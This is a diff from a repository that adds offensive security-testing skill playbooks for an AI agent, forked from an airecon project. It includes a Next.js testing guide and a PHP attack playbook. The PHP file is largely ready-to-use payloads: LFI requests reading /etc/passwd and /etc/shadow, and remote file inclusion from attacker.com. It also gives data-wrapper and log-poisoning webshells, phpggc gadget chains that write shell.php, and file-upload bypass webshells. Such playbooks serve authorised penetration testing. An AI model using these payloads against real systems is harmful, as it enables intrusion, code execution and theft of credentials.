  291. package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
  292. package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
  293. package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
  294. package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
  295. package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
  296. package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
  297. package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
  298. package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
  299. package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
  300. package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
  301. package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
  302. package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
  303. package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
  304. package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
  305. package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
  306. package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
  307. package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
  308. package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
  309. package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
  310. package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
  311. package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
  312. package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
  313. package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
  314. package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
  315. package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
  316. package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
  317. package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
  318. package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
  319. package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
  320. package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
  321. package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
  322. package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
  323. package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
  324. package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
  325. package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
  326. package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
  327. package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
  328. package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
  329. package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
  330. package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
  331. package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
  332. package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
  333. package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
  334. package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
  335. package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
  336. package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
  337. package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
  338. package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
  339. package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
  340. package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
  341. package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
  342. package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
  343. package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
  344. package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
  345. package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
@@ -0,0 +1,230 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: nextjs
5
+ description: Security testing playbook for Next.js covering App Router, Server Actions, RSC, and Edge runtime vulnerabilities
6
+ ---
7
+
8
+ # Next.js
9
+
10
+ Security testing for Next.js applications. Focus on authorization drift across runtimes (Edge/Node), caching boundaries, server actions, and middleware bypass.
11
+
12
+ ## Attack Surface
13
+
14
+ **Routers**
15
+ - App Router (`app/`) and Pages Router (`pages/`) often coexist
16
+ - Route Handlers (`app/api/**`) and API routes (`pages/api/**`)
17
+ - Middleware: `middleware.ts` at project root
18
+
19
+ **Runtimes**
20
+ - Node.js (full API access)
21
+ - Edge (V8 isolates, restricted APIs)
22
+
23
+ **Rendering & Caching**
24
+ - SSR, SSG, ISR, on-demand revalidation
25
+ - RSC (React Server Components) with fetch cache
26
+ - Draft/preview mode
27
+
28
+ **Data Paths**
29
+ - Server Components, Client Components
30
+ - Server Actions (streamed POST with `Next-Action` header)
31
+ - `getServerSideProps`, `getStaticProps`
32
+
33
+ **Integrations**
34
+ - NextAuth.js (callbacks, CSRF, callbackUrl)
35
+ - `next/image` optimization and remote loaders
36
+
37
+ ## High-Value Targets
38
+
39
+ - Middleware-protected routes (auth, geo, A/B)
40
+ - Admin/staff paths, draft/preview content, on-demand revalidate endpoints
41
+ - RSC payloads and flight data, streamed responses
42
+ - Image optimizer and custom loaders, remotePatterns/domains
43
+ - NextAuth callbacks (`/api/auth/callback/*`), sign-in providers
44
+ - Edge-only features (bot protection, IP gates) and their Node equivalents
45
+
46
+ ## Reconnaissance
47
+
48
+ **Route Discovery**
49
+
50
+ ```javascript
51
+ // Browser console - list all routes
52
+ console.log(__BUILD_MANIFEST.sortedPages.join('\n'))
53
+
54
+ // Inspect server-fetched data
55
+ JSON.parse(document.getElementById('__NEXT_DATA__').textContent).props.pageProps
56
+
57
+ // List public environment variables
58
+ Object.keys(process.env).filter(k => k.startsWith('NEXT_PUBLIC_'))
59
+ ```
60
+
61
+ **Build Artifacts**
62
+ ```
63
+ GET /_next/static/<buildId>/_buildManifest.js
64
+ GET /_next/static/<buildId>/_ssgManifest.js
65
+ GET /_next/static/chunks/pages/
66
+ GET /_next/static/chunks/app/
67
+ ```
68
+ Chunk filenames map to routes (e.g., `admin.js` → `/admin`).
69
+
70
+ **Source Maps**
71
+
72
+ Check `/_next/static/` for exposed `.map` files revealing route structure, server action IDs, and internal functions.
73
+
74
+ **Client Bundle Mining**
75
+
76
+ Search main-*.js for: `pathname:`, `href:`, `__next_route__`, `serverActions`, API endpoints. Grep for `API_KEY`, `SECRET`, `TOKEN`, `PASSWORD` to find accidentally leaked credentials.
77
+
78
+ **Server Action Discovery**
79
+
80
+ Inspect Network tab for POST requests with `Next-Action` header. Extract action IDs from response streams and hydration data.
81
+
82
+ **Additional Leakage**
83
+ - `/sitemap.xml`, `/robots.txt`, `/sitemap-*.xml` for unintended admin/internal/preview paths
84
+ - Client bundles/env for secret paths and preview/admin flags (many teams hide routes via UI only)
85
+
86
+ ## Key Vulnerabilities
87
+
88
+ ### Middleware Bypass
89
+
90
+ **Known Techniques**
91
+ - `x-middleware-subrequest` header crafting (CVE-class bypass)
92
+ - `x-nextjs-data` probing
93
+ - Look for 307 + `x-middleware-rewrite`/`x-nextjs-redirect` headers
94
+
95
+ **Path Normalization**
96
+ ```
97
+ /api/users
98
+ /api/users/
99
+ /api//users
100
+ /api/./users
101
+ ```
102
+ Middleware may normalize differently than route handlers. Test double slashes, trailing slashes, dot segments.
103
+
104
+ **Parameter Pollution**
105
+ ```
106
+ ?id=1&id=2
107
+ ?filter[]=a&filter[]=b
108
+ ```
109
+ Middleware checks first value, handler uses last or array.
110
+
111
+ ### Server Actions
112
+
113
+ - Invoke actions outside UI flow with alternate content-types
114
+ - Authorization assumed from client state rather than enforced server-side
115
+ - IDOR via object references in action payloads
116
+ - Map action IDs from source maps to discover hidden actions
117
+
118
+ ### RSC & Caching
119
+
120
+ **Cache Boundary Failures**
121
+ - User-bound data cached without identity keys (ETag/Set-Cookie unaware)
122
+ - Personalized content served from shared cache/CDN
123
+ - Missing `no-store` on sensitive fetches
124
+
125
+ **Flight Data Leakage**
126
+
127
+ Inspect streamed RSC payloads for serialized sensitive fields in props.
128
+
129
+ **ISR Issues**
130
+ - Stale-while-revalidate responses containing user-specific or tenant-dependent data
131
+ - Weak secrets in on-demand revalidation endpoint URLs
132
+ - Referer-disclosed tokens or unvalidated hosts triggering `revalidatePath`/`revalidateTag`
133
+ - Header-smuggling or method variations to trigger revalidation
134
+
135
+ ### Authentication
136
+
137
+ **NextAuth Pitfalls**
138
+ - Missing/relaxed state/nonce/PKCE per provider (login CSRF, token mix-up)
139
+ - Open redirect in `callbackUrl` or mis-scoped allowed hosts
140
+ - JWT audience/issuer not enforced across routes
141
+ - Cross-service token reuse
142
+ - Session hijacking by forcing callbacks
143
+
144
+ **Session Boundaries**
145
+ - Different auth enforcement between App Router and Pages Router
146
+ - API routes vs Route Handlers authorization inconsistency
147
+
148
+ ### Data Exposure
149
+
150
+ **__NEXT_DATA__ Over-fetching**
151
+
152
+ Server-fetched data passed to client but not rendered:
153
+ - Full user objects when only username needed
154
+ - Internal IDs, tokens, admin-only fields
155
+ - ORM select-all patterns exposing entire records
156
+ - API responses forwarded without sanitization (metadata, cursors, debug info)
157
+
158
+ **Environment-Dependent Exposure**
159
+ - Staging/dev accidentally exposes more fields than production
160
+ - Inconsistent serialization logic across environments
161
+
162
+ **Props Inspection**
163
+ ```javascript
164
+ // Check for sensitive data in page props
165
+ JSON.parse(document.getElementById('__NEXT_DATA__').textContent).props
166
+ ```
167
+ Look for `_metadata`, `_internal`, `__typename` (GraphQL), nested sensitive objects.
168
+
169
+ ### Image Optimizer SSRF
170
+
171
+ **Remote Patterns**
172
+ - Broad `images.domains`/`remotePatterns` in `next.config.js`
173
+ - Test: internal hosts, IPv4/IPv6 variants, DNS rebinding
174
+
175
+ **Custom Loaders**
176
+ - Protocol smuggling via redirect chains
177
+ - Cache poisoning via URL normalization differences affecting other users
178
+
179
+ ### Runtime Divergence
180
+
181
+ **Edge vs Node**
182
+ - Defenses relying on Node-only modules skipped on Edge
183
+ - Header trust differs (`x-forwarded-*` handling)
184
+ - Same route may behave differently across runtimes
185
+
186
+ ### Client-Side
187
+
188
+ **XSS Vectors**
189
+ - `dangerouslySetInnerHTML`
190
+ - Markdown renderers
191
+ - User-controlled href/src attributes
192
+ - Validate CSP/Trusted Types coverage for SSR/CSR/hydration
193
+
194
+ **Hydration Mismatches**
195
+
196
+ Server vs client render differences can enable gadget-based XSS.
197
+
198
+ ### Draft/Preview Mode
199
+
200
+ - Secret URLs/cookies enabling preview
201
+ - Preview secrets leaked in client bundles/env
202
+ - Setting preview cookies from subdomains or via open redirects
203
+
204
+ ## Bypass Techniques
205
+
206
+ - Content-type switching: `application/json` ↔ `multipart/form-data` ↔ `application/x-www-form-urlencoded`
207
+ - Method override: `_method`, `X-HTTP-Method-Override`, GET on endpoints accepting writes
208
+ - Case/param aliasing and query duplication affecting middleware vs handler parsing
209
+ - Cache key confusion at CDN/proxy (lack of Vary on auth cookies/headers)
210
+
211
+ ## Testing Methodology
212
+
213
+ 1. **Enumerate** - Use `__BUILD_MANIFEST`, source maps, build artifacts, sitemap/robots to map all routes
214
+ 2. **Runtime matrix** - Test each route under Edge and Node runtimes
215
+ 3. **Role matrix** - Test as unauth/user/admin across SSR, API routes, Route Handlers, Server Actions
216
+ 4. **Cache probing** - Verify caching respects identity (strip cookies, alter Vary headers, check ETags)
217
+ 5. **Middleware validation** - Test path variants and header manipulation for bypass
218
+ 6. **Cross-router** - Compare authorization between App Router and Pages Router paths
219
+
220
+ ## Validation Requirements
221
+
222
+ - Side-by-side requests showing cross-user/tenant access
223
+ - Cache boundary failure proof (response diffs, ETag collisions)
224
+ - Server action invocation outside UI with insufficient auth
225
+ - Middleware bypass with explicit headers showing protected content access
226
+ - Runtime parity checks (Edge vs Node inconsistent enforcement)
227
+ - Discovered routes verified as deployed (200/403) not just build artifacts (404)
228
+ - Leaked credentials tested with minimal read-only calls; filter placeholders
229
+ - `__NEXT_DATA__` exposure: verify cross-user (User A's props shouldn't contain User B's PII), confirm exposed fields not in DOM
230
+ - Path normalization bypasses: show differential responses (403 vs 200), redirects don't count
@@ -0,0 +1,271 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: php
5
+ description: Security testing playbook for generic PHP applications covering type juggling, file inclusion, deserialization, phpinfo exposure, eval injection, and PHP-specific misconfigurations
6
+ ---
7
+
8
+ # PHP Security Testing
9
+
10
+ PHP powers a large portion of the web. Even when using frameworks, PHP-specific vulnerabilities are common: type juggling bypasses, file inclusion (LFI/RFI), PHP deserialization gadget chains, `phpinfo()` exposure, code execution via eval/assert, and session fixation.
11
+
12
+ ---
13
+
14
+ ## Reconnaissance
15
+
16
+ ### Fingerprinting PHP
17
+
18
+ # PHP-specific headers and paths
19
+ X-Powered-By: PHP/8.1.0 # PHP version disclosure
20
+
21
+ # Common PHP file extensions:
22
+ .php, .php3, .php4, .php5, .php7, .phtml, .phar
23
+
24
+ # Test extension alternatives:
25
+ GET /index.php7
26
+ GET /index.phtml
27
+ GET /admin.phar
28
+
29
+ # phpinfo() — extremely common misconfiguration
30
+ GET /phpinfo.php
31
+ GET /info.php
32
+ GET /php-info.php
33
+ GET /test.php
34
+ GET /phptest.php
35
+ GET /_phpinfo.php
36
+ GET /check.php
37
+ GET /status.php
38
+
39
+ # Backup files (editor/deploy artifacts):
40
+ GET /index.php~ # Vim backup
41
+ GET /index.php.bak
42
+ GET /index.php.old
43
+ GET /index.php.save
44
+ GET /config.php.bak
45
+ GET /db.php.bak
46
+ GET /.index.php.swp # Vim swap
47
+
48
+ ---
49
+
50
+ ## PHP Type Juggling
51
+
52
+ PHP's loose comparison (`==`) has well-known coercion bugs:
53
+
54
+ # Magic hashes — MD5 hashes that start with "0e" (scientific notation → 0):
55
+ # If password stored as md5($pass) and compared with ==:
56
+ # md5('240610708') = 0e462097431906509019562988736854 → 0 == 0
57
+ # Send password: 240610708 → md5 starts with 0e → equals 0e hash of real password
58
+
59
+ # Common magic hash values (for md5):
60
+ 240610708 → 0e462097431906509019562988736854
61
+ QNKCDZO → 0e830400451993494058024219903391
62
+ aabg74ZBSIyv → 0e087386482136013740957780965295
63
+
64
+ # SHA1 magic hashes:
65
+ 10932435112 → 0e07766915004133176347055865026811914715
66
+
67
+ # Array bypass in PHP:
68
+ # strcmp(array, string) == 0 → true in old PHP
69
+ POST /login
70
+ password[]=anything # PHP converts to array
71
+
72
+ # Type juggling in JSON:
73
+ {"password": true} # true == any string in PHP loose compare
74
+ {"password": 0} # 0 == "password" in PHP5
75
+
76
+ # in_array loose check bypass:
77
+ in_array("1shell.php", ["1","2","3"]) == true # "1shell.php" == 1 (numeric)
78
+
79
+ ---
80
+
81
+ ## File Inclusion (LFI / RFI)
82
+
83
+ # Local File Inclusion:
84
+ GET /page.php?file=../../../../etc/passwd
85
+ GET /index.php?lang=../../etc/passwd%00 # Null byte (PHP < 5.3.4)
86
+ GET /page.php?include=php://filter/convert.base64-encode/resource=/etc/passwd
87
+
88
+ # PHP filter chains (read any file as base64):
89
+ GET /page.php?file=php://filter/convert.base64-encode/resource=config.php
90
+ # Decode the base64 response to get source code
91
+
92
+ # PHP filter chain for RCE (no file upload needed):
93
+ # Tool: https://github.com/synacktiv/php_filter_chain_generator
94
+ python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]);?>'
95
+ GET /page.php?file=<generated_chain>&cmd=id
96
+
97
+ # Data wrapper (RCE via LFI if allow_url_include=On):
98
+ GET /page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id
99
+ GET /page.php?file=data://text/plain,<?php system('id');?>
100
+
101
+ # Remote File Inclusion (RFI — requires allow_url_include=On):
102
+ GET /page.php?file=http://attacker.com/shell.txt
103
+
104
+ # LFI to RCE via log poisoning:
105
+ # 1. Inject PHP code into log file via User-Agent:
106
+ curl <target> -A "<?php system(\$_GET['cmd']); ?>"
107
+ # 2. Include the log file:
108
+ GET /page.php?file=/var/log/apache2/access.log&cmd=id
109
+
110
+ # LFI via /proc/self/environ (older Linux):
111
+ GET /page.php?file=/proc/self/environ
112
+ # Inject PHP in User-Agent first, then include
113
+
114
+ # Common files to read via LFI:
115
+ /etc/passwd
116
+ /etc/shadow
117
+ /proc/self/environ
118
+ /var/log/apache2/access.log
119
+ /var/log/nginx/access.log
120
+ /var/log/auth.log
121
+ /var/www/html/config.php
122
+ /var/www/html/.env
123
+ /proc/self/fd/0 # stdin (may contain request data)
124
+
125
+ ---
126
+
127
+ ## PHP Deserialization
128
+
129
+ PHP `unserialize()` with user-controlled data enables object injection:
130
+
131
+ # Detect: base64-encoded data starting with "O:" in cookie, parameter, or POST body
132
+ # O:4:"User":1:{s:4:"name";s:5:"admin";} = serialized User object
133
+
134
+ # Craft malicious serialized object to abuse magic methods:
135
+ # __destruct, __wakeup, __toString, __call are triggered automatically
136
+
137
+ # Simple example (if class with __destruct doing file_put_contents exists):
138
+ # O:4:"Foo":1:{s:4:"file";s:17:"/var/www/html/x.php";s:4:"data";s:25:"<?php system($_GET[0]);?>";}
139
+
140
+ # Automated tool: PHPGGC (PHP Gadget Chains):
141
+ phpggc -l # List available chains
142
+ phpggc -l | grep Symfony # Symfony chains
143
+ phpggc -l | grep Laravel # Laravel chains
144
+
145
+ # Common chains for popular PHP frameworks:
146
+ phpggc Symfony/RCE4 system id # Symfony gadget chain
147
+ phpggc Laravel/RCE1 system id # Laravel gadget chain
148
+ phpggc Guzzle/FW1 write /var/www/html/shell.php "<?php system(\$_GET[0]);?>"
149
+
150
+ # Generate base64 payload:
151
+ phpggc -b Symfony/RCE4 system 'id'
152
+
153
+ # Phar deserialization (PHP < 8.0 in stream wrappers):
154
+ # phar:// wrapper triggers deserialization when file operations are performed
155
+ GET /page.php?file=phar:///uploads/uploaded.jpg # If .jpg is a crafted PHAR
156
+
157
+ ---
158
+
159
+ ## Code Execution via eval/assert/preg_replace
160
+
161
+ # If user input reaches eval():
162
+ GET /page.php?code=system('id')
163
+ # PHP eval: eval("$code");
164
+
165
+ # assert() in PHP < 7.0 executes string as PHP:
166
+ GET /page.php?str=system('id')
167
+ # assert($str);
168
+
169
+ # preg_replace with /e modifier (PHP < 7.0):
170
+ # preg_replace('/<pattern>/e', $replacement, $input)
171
+ # If $replacement is user-controlled:
172
+ GET /page.php?pattern=.&replace=system('id')
173
+
174
+ # create_function (deprecated, still found):
175
+ # create_function('', 'system("id");')
176
+
177
+ # Dynamic function calls:
178
+ # $func = $_GET['fn']; $func();
179
+ GET /page.php?fn=phpinfo
180
+ GET /page.php?fn=system&arg=id
181
+
182
+ ---
183
+
184
+ ## PHP Session Security
185
+
186
+ # PHP session ID in cookie: PHPSESSID
187
+ # Default storage: /tmp/sess_<PHPSESSID> on server
188
+
189
+ # Session fixation:
190
+ # 1. Get session ID before login
191
+ # 2. Login — if session ID doesn't change = session fixation vulnerability
192
+
193
+ # Session file LFI (if LFI exists):
194
+ GET /page.php?file=/tmp/sess_<PHPSESSID>
195
+ # Inject PHP into session data first:
196
+ # Set a parameter that gets stored in session to PHP code
197
+
198
+ # Session upload progress (LFI vector):
199
+ # Upload file with PHP code in filename → session stores the filename
200
+ # GET /page.php?file=/tmp/sess_<id> → code execution
201
+
202
+ ---
203
+
204
+ ## PHP File Upload Bypass
205
+
206
+ # Extension blacklist bypass:
207
+ shell.php5, shell.php7, shell.phtml, shell.phar, shell.phps
208
+ shell.Php (capital letter bypass)
209
+ shell.php.jpg (double extension)
210
+ shell.php%00.jpg (null byte, PHP < 5.3.4)
211
+ shell.php (trailing space)
212
+ shell.php. (trailing dot)
213
+
214
+ # MIME type bypass:
215
+ Content-Type: image/jpeg with PHP payload content
216
+
217
+ # Magic bytes bypass (add image header):
218
+ GIF89a;<?php system($_GET['cmd']);?>
219
+
220
+ # .htaccess upload (if Apache and uploads served with AllowOverride):
221
+ filename=".htaccess"
222
+ Content: AddType application/x-httpd-php .jpg
223
+
224
+ ---
225
+
226
+ ## PHP Information Disclosure
227
+
228
+ # phpinfo() exposure reveals:
229
+ GET /phpinfo.php
230
+ # - PHP version, extensions, compile flags
231
+ # - Server software, document root, script path
232
+ # - Environment variables (may include credentials)
233
+ # - PHP configuration (allow_url_fopen, disable_functions, open_basedir)
234
+ # - Loaded modules, Zend extensions
235
+
236
+ # Key phpinfo fields to note:
237
+ # disable_functions: list of blocked functions (cmd execution may be blocked)
238
+ # open_basedir: directory restriction
239
+ # allow_url_include: RFI possible if On
240
+ # session.save_path: where sessions are stored
241
+
242
+ ---
243
+
244
+ ## PHP disable_functions Bypass
245
+
246
+ # If exec/system/passthru blocked via disable_functions:
247
+ # Method 1: PHP 7.x LD_PRELOAD bypass
248
+ # Method 2: Imagick/GhostScript RCE bypass
249
+
250
+ # Check disabled functions:
251
+ # phpinfo() → disable_functions row
252
+
253
+ # Common bypass libraries:
254
+ # https://github.com/AntSwordProject/AntSword-Labs (disable_functions bypass)
255
+ # Chankro tool for LD_PRELOAD bypass
256
+
257
+ ---
258
+
259
+ ## Pro Tips
260
+
261
+ 1. `phpinfo.php`, `info.php`, `test.php` — check ALL of these, very commonly exposed
262
+ 2. PHP filter chain generator creates RCE from LFI with no file upload needed
263
+ 3. Type juggling with `0e` magic hashes bypasses MD5-based password verification
264
+ 4. PHPGGC covers gadget chains for 30+ PHP frameworks — serialize attack any app
265
+ 5. `php://filter/convert.base64-encode/resource=` reads any PHP file including config
266
+ 6. Always test `.php~`, `.php.bak`, `.php.old` extensions for source code backups
267
+ 7. Log poisoning via User-Agent is reliable LFI → RCE if Apache/Nginx log is readable
268
+
269
+ ## Summary
270
+
271
+ PHP testing = `phpinfo.php` exposure + LFI via `php://filter` + type juggling auth bypass + deserialization (phpggc) + file upload extension bypass. PHP filter chains are the most powerful LFI technique — they enable RCE without any file upload. Type juggling (`0e` magic hashes, array bypass) breaks authentication in poorly coded apps. phpinfo() reveals the entire server configuration including disable_functions, enabling targeted exploitation.